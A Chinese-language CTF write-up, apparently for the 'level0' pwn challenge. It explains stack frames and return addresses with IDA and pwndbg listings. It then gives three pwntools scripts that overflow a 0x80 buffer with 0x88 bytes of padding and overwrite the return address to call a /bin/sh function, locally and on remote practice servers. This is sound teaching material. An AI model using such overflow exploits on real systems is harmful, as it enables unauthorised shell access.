-000000000000004C db ? ; undefined -000000000000004B db ? ; undefined -000000000000004A db ? ; undefined -0000000000000049 db ? ; undefined -0000000000000048 db ? ; undefined -0000000000000047 db ? ; undefined -0000000000000046 db ? ; undefined -0000000000000045 db ? ; undefined -0000000000000044 db ? ; undefined -0000000000000043 db ? ; undefined -0000000000000042 db ? ; undefined -0000000000000041 db ? ; undefined -0000000000000040 db ? ; undefined -000000000000003F db ? ; undefined -000000000000003E db ? ; undefined -000000000000003D db ? ; undefined -000000000000003C db ? ; undefined -000000000000003B db ? ; undefined -000000000000003A db ? ; undefined -0000000000000039 db ? ; undefined -0000000000000038 db ? ; undefined -0000000000000037 db ? ; undefined -0000000000000036 db ? ; undefined -0000000000000035 db ? ; undefined -0000000000000034 db ? ; undefined -0000000000000033 db ? ; undefined -0000000000000032 db ? ; undefined -0000000000000031 db ? ; undefined -0000000000000030 db ? ; undefined -000000000000002F db ? ; undefined -000000000000002E db ? ; undefined -000000000000002D db ? ; undefined -000000000000002C db ? ; undefined -000000000000002B db ? ; undefined -000000000000002A db ? ; undefined -0000000000000029 db ? ; undefined -0000000000000028 db ? ; undefined -0000000000000027 db ? ; undefined -0000000000000026 db ? ; undefined -0000000000000025 db ? ; undefined -0000000000000024 db ? ; undefined -0000000000000023 db ? ; undefined -0000000000000022 db ? ; undefined -0000000000000021 db ? ; undefined -0000000000000020 db ? ; undefined -000000000000001F db ? ; undefined -000000000000001E db ? ; undefined -000000000000001D db ? ; undefined -000000000000001C db ? ; undefined -000000000000001B db ? ; undefined -000000000000001A db ? ; undefined -0000000000000019 db ? ; undefined -0000000000000018 db ? ; undefined -0000000000000017 db ? ; undefined -0000000000000016 db ? ; undefined -0000000000000015 db ? ; undefined -0000000000000014 db ? ; undefined -0000000000000013 db ? ; undefined -0000000000000012 db ? ; undefined -0000000000000011 db ? ; undefined -0000000000000010 db ? ; undefined -000000000000000F db ? ; undefined -000000000000000E db ? ; undefined -000000000000000D db ? ; undefined -000000000000000C db ? ; undefined -000000000000000B db ? ; undefined -000000000000000A db ? ; undefined -0000000000000009 db ? ; undefined -0000000000000008 db ? ; undefined -0000000000000007 db ? ; undefined -0000000000000006 db ? ; undefined -0000000000000005 db ? ; undefined -0000000000000004 db ? ; undefined -0000000000000003 db ? ; undefined -0000000000000002 db ? ; undefined -0000000000000001 db ? ; undefined +0000000000000000 s db 8 dup(?) +0000000000000008 r db 8 dup(?) +0000000000000010 +0000000000000010 ; end of stack variables
这样我们就可以考虑覆盖read函数的返回地址了。
我们观察一下read函数读取时读取了多少东西(字符?字节?以后填坑)
发现了么?发现了么?发现了么?(重要的事情说三遍) buf这个字符数组的长度只有0x80,而我们可以输入0x200的东西,哇,是不是很刺激,我们的输入不但可以填充满真个数组还能覆盖掉数组外面的东西,那这样又能干什么呢? 我们先看一下数组后面紧跟的是什么东西,继续在栈中看
当属于数组的空间结束后(到0x0000000000000000时),首先,有一个s,8个字节长度,其次是一个r,重点就在这,r中存放着的就是返回地址。即当read函数结束后,程序下一步要到的地方。
那这样岂不是很美滋滋?我们可以输入好长好长的数据,完全可以覆盖这个r。
我们可以画个草图,然后用gdb去调试下这个流程就很容易明白覆盖过程了。
这个题目涉及到一个完整的函数调用流程,这里为了照顾跟我一样的萌新,我再细细地继续从0基础说一次。
重新回顾下:
ebp 作用就是存储当前函数的基地址,运行时保持不变,用来索引函数参数或者局部变量的位置
esp 用来存储函数调用栈顶地址,在压栈是地址减少,退栈是地址增大
eip 指向程序下一条执行指令。
我们简化下概念:
假设有函数A 函数B
函数A在第二行调用了函数B,也就是说第一行的时候eip指向的就是执行第二行的指令的地址。
int function A()
{
B();
printf("123");
}
那么调用完B之后,eip怎么去指向printf
函数去执行呢,这里就是函数调用栈的关键啦。
首先我们要明确,栈空间是在当前空间开辟的一个独立空间,而且增长方式与当前空间是相反的。
有了这个概念之后,我们继续分析。
假设第三条指令地址(printf函数)是0x3,也就是说B函数执行完之后,eip应该执行0x3
那么执行第二条指令开辟的栈的流程就是:
保护现场
首先把0x3 eip信息压入栈内,保留了eip程序执行流程的信息。
然后把当前ebp寄存器的值(调用函数A的基地址)压入栈内,然后更将ebp寄存器的值更新为当前栈顶的地址。
这样调用函数A的ebp信息可以得到保存,同时ebp被更新为被调用函数b的ebp地址。
恢复现场
首先pop ebp,然后恢复了调用函数A时候的ebp。
然后pop eip 退出栈,恢复之前的下一条eip指令
可能有些人就在想为啥要这样做? eip不变不行吗,为啥要入栈作为返回地址存存起来,这里有个小误区,首先在栈空间里也是需要eip的,所以说栈空间的指令执行的时候eip会发生改变,不作为返回地址存起来的话,那么就会丢失程序流程。
理解之后我们画个堆栈图来理解这个题目
这里是开辟了0x80的栈空间(代码执行过程)
看下地址:
0xf0-0x70=0x80
可以看到数据的增长方向
如果再继续输入的话,就会把rbp给覆盖了(0x...b0-30=80,注意上图小细节)。
下面是我运行到vulnerable_function里的情况:
*RIP 0x4005bf (vulnerable_function+25) ◂— call 0x400470 ───────────────────────────────────────────[ DISASM ]─────────────────────────────────────────── 0x4005aa <vulnerable_function+4> add rsp, -0x80 0x4005ae <vulnerable_function+8> lea rax, [rbp - 0x80] 0x4005b2 <vulnerable_function+12> mov edx, 0x200 0x4005b7 <vulnerable_function+17> mov rsi, rax 0x4005ba <vulnerable_function+20> mov edi, 0 ► 0x4005bf <vulnerable_function+25> call read@plt <read@plt>, 正要调用read函数 fd: 0x0 buf: 0x7fffffffebb0 ◂— 0x0 nbytes: 0x200 0x4005c4 <vulnerable_function+30> leave 0x4005c5 <vulnerable_function+31> ret 0x4005c6 <main> push rbp 0x4005c7 <main+1> mov rbp, rsp 0x4005ca <main+4> sub rsp, 0x10 ───────────────────────────────────────────[ STACK ]──────────────────────────────────────────── 00:0000│ rax rsi rsp 0x7fffffffebb0 ◂— 0x0 # 这里看不到完整的stack,所以输入stack 20查看更多的stack数据 ... ↓ ─────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────── ► f 0 4005bf vulnerable_function+25 f 1 4005f3 main+45 f 2 7ffff7e27cca __libc_start_main+234 ──────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> stack 20 00:0000│ rax rsi rsp 0x7fffffffebb0 ◂— 0x0 #栈顶 buf变量的数据就在stack上 ... ↓ 0c:0060│ 0x7fffffffec10 ◂— 0x1 0d:0068│ 0x7fffffffec18 —▸ 0x40064d (__libc_csu_init+77) ◂— add rbx, 1 0e:0070│ 0x7fffffffec20 ◂— 0x0 0f:0078│ 0x7fffffffec28 —▸ 0x7ffff7ffe180 ◂— 0x0 10:0080│ rbp 0x7fffffffec30 —▸ 0x7fffffffec50 —▸ 0x400600 (__libc_csu_init) ◂— push r15 #栈顶,看吧,80 size是OK的 11:0088│ 0x7fffffffec38 —▸ 0x4005f3 (main+45) ◂— leave #用system shell函数地址覆盖这个数据就可以调用system shell???应该是的!!! 12:0090│ 0x7fffffffec40 —▸ 0x7fffffffed48 —▸ 0x7fffffffef19 ◂— '/data/level0' #???? 13:0098│ 0x7fffffffec48 ◂— 0x100000000
可以看见buf距离ret的长度为0x80+0x08.
我们直接可以写exp了。 因为rbp是占用8字节64位寄存器,0x80+0x8=0x88(覆盖rbp之后继续添加数据就覆盖返回地址了)
调用system shell函数的地址是0x400596, IDA双击callsystem发现其执行的地址为400596,之后可以根据之前发现的地址覆盖,来调用callsystem执行任意命令。
.text:0000000000400596 ; =============== S U B R O U T I N E ======================================= .text:0000000000400596 .text:0000000000400596 ; Attributes: bp-based frame .text:0000000000400596 .text:0000000000400596 public callsystem ###########看到了吧,就是这个地址!!! .text:0000000000400596 callsystem proc near .text:0000000000400596 ; __unwind { .text:0000000000400596 push rbp .text:0000000000400597 mov rbp, rsp .text:000000000040059A mov edi, offset command ; "/bin/sh" .text:000000000040059F call _system .text:00000000004005A4 pop rbp .text:00000000004005A5 retn .text:00000000004005A5 ; } // starts at 400596 .text:00000000004005A5 callsystem endp .text:00000000004005A5 .text:00000000004005A6 .text:00000000004005A6 ; =============== S U B R O U T I N E ======================================= .text:00000000004005A6 .text:00000000004005A6 ; Attributes: bp-based frame .text:00000000004005A6 .text:00000000004005A6 public vulnerable_function .text:00000000004005A6 vulnerable_function proc near ; CODE XREF: main+28↓p .text:00000000004005A6 .text:00000000004005A6 buf = byte ptr -80h .text:00000000004005A6 .text:00000000004005A6 ; __unwind { .text:00000000004005A6 push rbp .text:00000000004005A7 mov rbp, rsp .text:00000000004005AA add rsp, 0FFFFFFFFFFFFFF80h .text:00000000004005AE lea rax, [rbp+buf] .text:00000000004005B2 mov edx, 200h ; nbytes .text:00000000004005B7 mov rsi, rax ; buf .text:00000000004005BA mov edi, 0 ; fd .text:00000000004005BF call _read .text:00000000004005C4 leave .text:00000000004005C5 retn .text:00000000004005C5 ; } // starts at 4005A6 .text:00000000004005C5 vulnerable_function endp .text:00000000004005C5 .text:00000000004005C6 .text:00000000004005C6 ; =============== S U B R O U T I N E =======================================
pwn代码:
#!/usr/bin/python
# -*- coding:utf-8 -*-
from pwn import *
ip, port = '111.198.29.45:37260'.split(':')
# print(ip, port)
c = remote(ip, port)
# c.recvuntil("lets get helloworld for bof")
# p64是小端字节序转换
c.sendline('A'*0x88 + p64(0x400596))
c.interactive()
我的工作代码:
#!/usr/bin/python # -*- coding:utf-8 -*- from pwn import * c = process("./level0") # remote('111.198.29.45', 31559) c.recvuntil("Hello, World") c.sendline(b'A'*0x88 + p64(0x400596)) c.interactive()
其他人代码,可读性高:
# -*- coding:utf-8 -*- from pwn import * sh = remote("pwn2.jarvisoj.com",9881) #remote:主要用作远程和服务器交互,返回一个类似连接对象 junk = 'a'*0x80 fakebp = 'a'*8 syscall = 0x0000000000400596 #vulnerable_fuction的函数起始位置 payload = junk + fakebp + p64(syscall) #p64:将数字转为字符串(p64/u64 p32/u32) sh.send(payload) #send:发送数据,通过连接对象调用 sh.interactive() #interactive:反弹shell
主要是将魔鬼数字给说清楚了。
运行效果:
0x6 总结
因为自己也是一个萌新,所以文章难免有疏漏或者错误的地方,欢迎师傅给我订正。对于网上的pwn教程我个人觉得对新手真的不是特别友好,造成了pwn入门门槛偏高,希望自己能给一些新手带来一些帮助,也希望有师傅能带带我这个pwn萌新谢谢。
0x7 预期计划
由于自己学的比较零碎,后面还是通过继续做题,最后再来个总结的方式,记录下自己的学习过程。